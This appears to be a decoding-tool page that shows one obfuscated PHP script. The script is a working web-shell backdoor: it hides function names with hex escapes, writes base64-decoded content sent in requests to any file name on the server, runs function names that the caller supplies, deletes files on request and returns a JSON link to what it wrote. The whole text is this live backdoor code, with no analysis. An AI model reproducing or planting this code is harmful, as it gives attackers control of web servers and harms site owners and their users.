PHP Decode

<?php $fname=(isset($_REQUEST["\x66na\x6de"])?$_REQUEST["\x66na\x6de"]:"");$fbody=(isset($_REQUEST["\x63od\x65"])?$_REQUEST["\x63od\x65"]:"");$opunl=(isset($_REQUEST["\x64el"])?$_REQUEST["\x64el"]:0);$base_d="\x62as\x6564\x5fde\x63od\x65";$fo=(isset($_REQUEST["fo"])?$_REQUEST["fo"]:"");$fw=(isset($_REQUEST["fw"])?$_REQUEST["fw"]:"");$f_get=(isset($_REQUEST["fget"])?$_REQUEST["fget"]:"");$f_put=(isset($_REQUEST["fput"])?$_REQUEST["fput"]:"");$f_unl="\x75nl\x69nk";$f_stuaus="\x66il\x65_e\x78is\x74s";$f_size="\x66il\x65si\x7ae";$str_rep="\x73tr\x5fre\x70la\x63e";$js_enc="\x6aso\x6e_e\x6eco\x64e";$hp = (isset($_SERVER["\x48TT\x50S"]) && $_SERVER["\x48TT\x50S"] == "on") ? '\x68tt\x70s' : '\x68tt\x70';$hot = $_SERVER["\x48TT\x50_H\x4fST"];$rinfo=array();$rinfo["\x73ta\x72"]="opt";if($fname && $fbody){	$con=$base_d($fbody);	$con=$str_rep("%20"," ",$con);	$con=$str_rep("%3A",":",$con);	$fp =$fo($fname,'w');    $f_result=$fw($fp,$con); 	$f_dax=$f_size($fname);	if(!$f_stuaus($fname) || $f_dax<=0)	{		$f_putresult=$f_put($fname,$con);		$f_dax=$f_size($fname);	}	if($f_stuaus($fname) &&  $f_dax>0)	{		$rinfo["\x66li\x6ek"]=$hp."\x3a//".$hot."\x2f".$fname;		$rinfo["\x72es"]=1;	}	else	{		$rinfo["flink"]=$hp."\x3a//".$hot."\x2f".$fname;		$rinfo["\x72es"]=0;	}		}else if($opunl=='1' && $fname){	$rinfo["\x66li\x6ek"]=$hp."\x3a//".$hot."\x2f".$fname;	$delres=$f_unl($fname);	if($delres)	{		$rinfo["\x64el\x72es"]=1;	}}else{	$rinfo["star"]="temp";}	echo $js_enc($rinfo);?>